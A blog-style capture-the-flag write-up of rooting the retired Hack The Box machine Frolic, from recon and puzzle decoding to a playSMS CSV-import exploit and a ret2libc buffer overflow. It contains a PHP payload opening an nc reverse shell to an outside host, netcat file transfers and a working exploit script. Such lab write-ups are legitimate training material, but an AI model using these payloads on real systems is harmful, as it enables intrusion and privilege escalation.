HTB: Frolic

Details

This machine is Frolic on Hack The Box, it is a retired machine on IP 10.10.10.111

Recon Phase

I started by looking for services

root@kali:~# nmap -T4 -sV -p- 10.10.10.111
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 19:19 GMT
Nmap scan report for 10.10.10.111
Host is up (0.039s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Then ran some scripts

root@kali:~# nmap -T4 -sVC -p- 10.10.10.111
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 19:38 GMT
Nmap scan report for 10.10.10.111
Host is up (0.034s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h50m56s, deviation: 3h10m31s, median: -56s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2019-02-23T01:08:04+05:30
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-02-22 19:38:04
|_  start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.86 seconds

Shell Hunting

I started with the port 1880 webserver at http://10.10.10.111:1880/

Screenshot 1

Then port 9999

Screenshot 2

As 9999 hadn't shown me anything yet I setup dirbuster

Screenshot 3

Screenshot 4

Then looked at /admin

Screenshot 5

Then /test

Screenshot 6

And then /backup

Screenshot 7

That's interesting but first onto /dev

Screenshot 8

So I tried http://10.10.10.111:9999/password.txt

Screenshot 9

Same again on user.txt

Screenshot 10

So back onto admin http://10.10.10.111:9999/admin/, it kept counting down when I tried to login, but in the source I found some js at http://10.10.10.111:9999/admin/js/login.js

Screenshot 11

Some creds

admin:superduperlooperpassword_lol

I tried them and on http://10.10.10.111:9999/admin/success.html

Screenshot 12

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.

This looked like brainfuck, but different, some googling revealed ook!, and an online interpreter gave me

Nothing here check /asdiSIAJJ0QWE9JAS

So off to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ which gave more text

 UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA

This looked like base64, the decode was binary but contained the string index.php, so I considered it could be a zip

root@kali:~# cat based | base64 -d > test.zip
root@kali:~# binwalk test.zip
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, encrypted at least v2.0 to extract, compressed size: 176, uncompressed size: 617, name: index.php
338           0x152           End of Zip archive, footer length: 22

Nice, now to get it

root@kali:~# unzip test.zip
Archive:  test.zip
[test.zip] index.php password:

It's passworded, so I setup my zipcracker https://github.com/Jack-Barradell/pentest-scripts/blob/master/zipcracker/py3/zipcracker.py

root@kali:~# python zipcracker.py -f test.zip -d /usr/share/wordlists/rockyou.txt
[+] Attempting to crack password
[+] Password found: password
[+] Cracking completed

Then unzipped it

root@kali:~# unzip test.zip
inflating: index.php
root@kali:~# cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

Looks like hex, so a hex to ascii converter

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

That's base64, so decode

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

And that's brainfuck, an online interpreter gave me

idkwhatispass

So a potential password but no username, so I setup dirbuster against http://10.10.10.111:9999/dev which gave new results

Screenshot 13

/dev/test offered a binary file which only contained the text

test

Whereas http://10.10.10.111:9999/dev/backup/ contained

/playsms

So I went to it and ended up on http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=login

Screenshot 14

With a potential password but no username, I tried

admin:idkwhatispass

Screenshot 15

It worked, exploitdb gave me a potential vuln of https://www.exploit-db.com/exploits/42044, so I went to http://10.10.10.111:9999/index.php?app=main&inc=feature_phonebook&route=import&op=import

Screenshot 16

So I setup a csv exploit with the following

Name,Mobile,Email,Group code,Tags
<?php $t="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.24 4444 >/tmp/f"; system($t); ?>,12,344,56,67

And a listener to get the shell

root@kali:~# nc -nlvp 4444

When I uploaded the csv in the listener

connect to [10.10.14.24] from (UNKNOWN) [10.10.10.111] 34618
/bin/sh: 0: can't access tty; job control turned off
$

A shell!

Root Hunting

First I checked who I was

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Then upgraded the shell

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@frolic:~/html/playsms$

And began to dig

www-data@frolic:~/html/playsms$ find / -perm -u=s 2>/dev/null
[SNIP]
/home/ayush/.binary/rop
[SNIP]

The program called rop looked interesting

www-data@frolic:~/html/playsms$ cd /home/ayush
www-data@frolic:/home/ayush$ ls -la
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 .
drwxr-xr-x 4 root  root  4096 Sep 23 17:56 ..
-rw------- 1 ayush ayush 2781 Sep 25 02:47 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23 17:56 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 17:56 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23 17:56 .profile
-rw------- 1 ayush ayush  965 Sep 25 01:58 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25 01:58 user.txt

Theres user, but I can't read it, carry on to the binary!

www-data@frolic:/home/ayush$ cd .binary
www-data@frolic:/home/ayush/.binary$ ls -la
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ..
-rwsr-xr-x 1 root  root  7480 Sep 25 00:59 rop

Nice, if I can exploit it I'll get root. But there is no gdb, lets exfil the file then

root@kali:~# nc -nvlp 2222 > rop
www-data@frolic:/home/ayush/.binary$ nc 10.10.14.24 2222 < rop
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.111] 35024

Now I have the file

root@kali:~# chmod +x rop
root@kali:~# gdb ./rop
gdb-peda$ run
Starting program: /root/Documents/frolic/rop
[*] Usage: program <message>

Okay

gdb-peda$ run hi
Starting program: /root/Documents/frolic/rop hi
[+] Message sent: hi[Inferior 1 (process 6018) exited normally]
Warning: not running or target is remote

Can I crash it?

gdb-peda$ run $(python -c "print('A'*200 + 'BBBB')")
Starting program: /root/Documents/frolic/rop $(python -c "print('A'*200 + 'BBBB')")
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc8
EBX: 0xffffd260 ('A' <repeats 96 times>)
ECX: 0x0
EDX: 0xf7fa6890 --> 0x0
ESI: 0xf7fa5000 --> 0x1d9d6c
EDI: 0xf7fa5000 --> 0x1d9d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd230 ('A' <repeats 144 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd230 ('A' <repeats 144 times>)
0004| 0xffffd234 ('A' <repeats 140 times>)
0008| 0xffffd238 ('A' <repeats 136 times>)
0012| 0xffffd23c ('A' <repeats 132 times>)
0016| 0xffffd240 ('A' <repeats 128 times>)
0020| 0xffffd244 ('A' <repeats 124 times>)
0024| 0xffffd248 ('A' <repeats 120 times>)
0028| 0xffffd24c ('A' <repeats 116 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Yes, so I tested, and at 52 A's

gdb-peda$ run $(python -c "print('A'*52 + 'BBBB')")
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0xffffd2f0 --> 0x2
ECX: 0x0
EDX: 0xf7fa6890 --> 0x0
ESI: 0xf7fa5000 --> 0x1d9d6c
EDI: 0xf7fa5000 --> 0x1d9d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd2c0 --> 0xffffd500 --> 0xb35cef62
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd2c0 --> 0xffffd500 --> 0xb35cef62
0004| 0xffffd2c4 --> 0xffffd384 --> 0xffffd516 ("/root/Documents/frolic/rop")
0008| 0xffffd2c8 --> 0xffffd390 --> 0xffffd56a ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0012| 0xffffd2cc --> 0x8048561 (<__libc_csu_init+33>:   lea    eax,[ebx-0xf8])
0016| 0xffffd2d0 --> 0xffffd2f0 --> 0x2
0020| 0xffffd2d4 --> 0x0
0024| 0xffffd2d8 --> 0x0
0028| 0xffffd2dc --> 0xf7de5b41 (<__libc_start_main+241>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

So my EIP offset is 52, so I check to see if I can execute on the stack

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Nope, that's probably why it's called rop. My goal will be to ret2libc, and failing that use mprotect to unprotect the stack. First I try to find system

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e09980 <system>

Then the string "/bin/sh"

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f49aaa ("/bin/sh")

So I setup a python script to do the exploit

EIP_OFFSET = 52
PADDING = 'A'
SYSTEM = '\x80\x99\xe0\xf7' # 0x f7 e0 99 80
BINSH = '\xaa\x9a\xf4\xf7' # 0x f7 f4 9a aa
GARBAGE = 'CCCC'
payload = PADDING * EIP_OFFSET
payload += SYSTEM
payload += GARBAGE
payload += BINSH
print(payload)

And tested it

gdb-peda$ run $(python ./exploit.py )
Starting program: /root/Documents/frolic/rop $(python ./exploit.py )
[Attaching after process 6157 fork to child process 6160]
[New inferior 2 (process 6160)]
[Detaching after fork from parent process 6157]
[Inferior 1 (process 6157) detached]
process 6160 is executing new program: /usr/bin/dash
[Attaching after process 6160 fork to child process 6161]
[New inferior 3 (process 6161)]
[Detaching after fork from parent process 6160]
[Inferior 2 (process 6160) detached]
process 6161 is executing new program: /usr/bin/dash
#

This spawned a shell on my local system, so with a PoC I needed to adjust it to the real target, so I grab a static version of gdb from https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32 and transfer it to the target

root@kali:~# nc -nlvp 2222 < gdb
www-data@frolic:/home/ayush/.binary$ nc 10.10.14.24 2222 > /tmp/gdb
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.111] 35036

And set it up

www-data@frolic:/home/ayush/.binary$ chmod +x /tmp/gdb
www-data@frolic:/home/ayush/.binary$ /tmp/gdb ./rop
GNU gdb (GDB) 7.10.1
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./rop...(no debugging symbols found)...done.
(gdb)

First I just checked it worked

(gdb) run hi
Starting program: /home/ayush/.binary/rop hi
[+] Message sent: hi[Inferior 1 (process 1738) exited normally]

Then grabbed the system address

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e53da0 <system>

Grabbed the libc addresses so I could search for the "/bin/sh" string

(gdb) info proc map
process 1782
Mapped address spaces:
    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000        0x0 /home/ayush/.binary/rop
     0x8049000  0x804a000     0x1000        0x0 /home/ayush/.binary/rop
     0x804a000  0x804b000     0x1000     0x1000 /home/ayush/.binary/rop
     0x804b000  0x806c000    0x21000        0x0 [heap]
    0xb7e18000 0xb7e19000     0x1000        0x0
    0xb7e19000 0xb7fc9000   0x1b0000        0x0 /lib/i386-linux-gnu/libc-2.23.so
    0xb7fc9000 0xb7fcb000     0x2000   0x1af000 /lib/i386-linux-gnu/libc-2.23.so
    0xb7fcb000 0xb7fcc000     0x1000   0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
    0xb7fcc000 0xb7fcf000     0x3000        0x0
    0xb7fd6000 0xb7fd7000     0x1000        0x0
    0xb7fd7000 0xb7fda000     0x3000        0x0 [vvar]
    0xb7fda000 0xb7fdb000     0x1000        0x0 [vdso]
    0xb7fdb000 0xb7ffe000    0x23000        0x0 /lib/i386-linux-gnu/ld-2.23.so
    0xb7ffe000 0xb7fff000     0x1000    0x22000 /lib/i386-linux-gnu/ld-2.23.so
---Type <return> to continue, or q <return> to quit---
    0xb7fff000 0xb8000000     0x1000    0x23000 /lib/i386-linux-gnu/ld-2.23.so
    0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) find 0xb7e19000, 0xb7fcc000, "/bin/sh"
0xb7f74a0b
1 pattern found.

I adjusted my exploit

root@kali:~# cat exploit.py
EIP_OFFSET = 52
PADDING = 'A'
SYSTEM = '\xa0\x3d\xe5\xb7' # 0x b7 e5 3d a0
BINSH = '\x0b\x4a\xf7\xb7' # 0x b7 f7 4a 0b
GARBAGE = 'CCCC'
payload = PADDING * EIP_OFFSET
payload += SYSTEM
payload += GARBAGE
payload += BINSH
print(payload)

And transferred it to the server

root@kali:~# nc -nlvp 2222 < ./exploit.py
www-data@frolic:/home/ayush/.binary$ nc 10.10.14.24 2222 > /tmp/exploit.py

And ran it

www-data@frolic:/home/ayush/.binary$ ./rop $(python /tmp/exploit.py)
#

It popped a shell

#
id uid=0(root) gid=33(www-data) groups=33(www-data)

And it's root! First the user flag

# cd /home/ayush
# cat user.txt
[REDACTED]

Then the root flag

# cd /root
# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.